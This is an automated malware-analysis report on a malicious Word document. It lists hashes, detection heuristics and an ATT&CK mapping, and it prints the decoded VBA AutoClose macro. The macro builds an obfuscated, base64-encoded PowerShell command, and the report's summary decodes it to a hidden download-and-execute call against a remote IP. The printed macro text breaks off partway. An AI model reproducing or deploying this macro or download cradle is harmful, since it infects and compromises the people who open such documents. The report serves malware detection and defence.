Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71149b457bea5c3c…

MALICIOUS

Office (OLE)

77.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 915e87f11ac5d5940642bc45773cba93 SHA-1: c2c5db51cee1ecb48b155a195dc91d4cfc3291a6 SHA-256: 71149b457bea5c3cd9746f7a00ba499e42e461acf87f260bdc64b17e12af64d4
242 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The AutoClose macro is designed to execute a PowerShell command that downloads and executes a second-stage payload from a remote URL. The obfuscated PowerShell command reconstructs to: powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://185.189.255.237/a.txt')". This indicates a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9802 bytes
SHA-256: 0863e45af57a0e6f17d7d9101b3671f87f9a0472acb422baab9e0443c55707f8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
On Error Resume Next
MUkuNExUkimucMejaLIgEbamOkAiOaUtVeiiPabo = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"
Dim JhAaaLogUZGenWONyKiFH


Choose 5, "pAWUHoDYreSUKOSEiA", LTrim("JhAaaLogUZGenWONyKiFH"), "pAWUHoDYreSUKOSEiAJhAaaLogUZGenWONyKiFH"
IsError CVErr(6362)
Call IsNumeric(6362 - pAWUHoDYreSUKOSEiA)

If LenB(pAWUHoDYreSUKOSEiA11) > CInt(Hex(6362)) Then
   StrComp "pAWUHoDYreSUKOSEiA", "pAWUHoDYreSUKOSEiA" & JhAaaLogUZGenWONyKiFH
End If

Dim KEMivIViCiCUzuXebYbAFpAwAhuUluM


Choose 8, "zYpufyKOhUvOR", LTrim("KEMivIViCiCUzuXebYbAFpAwAhuUluM"), "zYpufyKOhUvORKEMivIViCiCUzuXebYbAFpAwAhuUluM"
IsError CVErr(3209)
Call IsNumeric(3209 - zYpufyKOhUvOR)

If LenB(zYpufyKOhUvOR12) > CInt(Hex(3209)) Then
   StrComp "zYpufyKOhUvOR", "zYpufyKOhUvOR" & KEMivIViCiCUzuXebYbAFpAwAhuUluM
End If
KANYcIwaKiMeENdOBEveysOjuwaKus = "C^8^A^L^w^B^3^A^G^U^A^Y^Q^B^t^A^G^8^A^" + ChrW((12.5 * 8) - 1) + "^w^B^p^A^G^M^A^Y^Q^B^k^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^E^A^d^A^B^y^A^G^k^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B"
Dim byKIsUnUJankyfMvRExYaaTOZ


Choose 9, "cUsEZOjYLUiOCy", LTrim("byKIsUnUJankyfMvRExYaaTOZ"), "cUsEZOjYLUiOCybyKIsUnUJankyfMvRExYaaTOZ"
IsError CVErr(8041)
Call IsNumeric(8041 - cUsEZOjYLUiOCy)

If LenB(cUsEZOjYLUiOCy13) > CInt(Hex(8041)) Then
   StrComp "cUsEZOjYLUiOCy", "cUsEZOjYLUiOCy" & byKIsUnUJankyfMvRExYaaTOZ
End If

Dim iguvURuqUbEbuRIpiWnASUQYkixoq


Choose 5, "MyQoVyNUnUNABYfYzImAROx", LTrim("iguvURuqUbEbuRIpiWnASUQYkixoq"), "MyQoVyNUnUNABYfYzImAROxiguvURuqUbEbuRIpiWnASUQYkixoq"
IsError CVErr(6914)
Call IsNumeric(6914 - MyQoVyNUnUNABYfYzImAROx)

If LenB(MyQoVyNUnUNABYfYzImAROx11) > CInt(Hex(6914)) Then
   StrComp "MyQoVyNUnUNABYfYzImAROx", "MyQoVyNUnUNABYfYzImAROx" & iguvURuqUbEbuRIpiWnASUQYkixoq
End If
Dim dycaJitaHOjULixoauXyvZeiaXFYMoc


Choose 10, "HihEyhIcUbuBOPI", LTrim("dycaJitaHOjULixoauXyvZeiaXFYMoc"), "HihEyhIcUbuBOPIdycaJitaHOjULixoauXyvZeiaXFYMoc"
IsError CVErr(8764)
Call IsNumeric(8764 - HihEyhIcUbuBOPI)

If LenB(HihEyhIcUbuBOPI12) > CInt(Hex(8764)) Then
   StrComp "HihEyhIcUbuBOPI", "HihEyhIcUbuBOPI" & dycaJitaHOjULixoauXyvZeiaXFYMoc
End If

Dim jyrovumiZUjUAJalyobowfugmYGATAHX


Choose 6, "QUXiBiWYSIqEWaWy", LTrim("jyrovumiZUjUAJalyobowfugmYGATAHX"), "QUXiBiWYSIqEWaWyjyrovumiZUjUAJalyobowfugmYGATAHX"
IsError CVErr(2509)
Call IsNumeric(2509 - QUXiBiWYSIqEWaWy)

If LenB(QUXiBiWYSIqEWaWy13) > CInt(Hex(2509)) Then
   StrComp "QUXiBiWYSIqEWaWy", "QUXiBiWYSIqEWaWy" & jyrovumiZUjUAJalyobowfugmYGATAHX
End If
numEaPeviqAcOZIrkvysawEquQUW = "^h^A^D^U^A^N^Q^A^5^A^D^" + ChrW((12.5 * 8) - 1) + "^A^N^Q^A^3^A^D^Y^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^Q^A^1^A^D^U^A^O^Q^A^3^A^D^U^A^N^w^A^2^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A
... (truncated)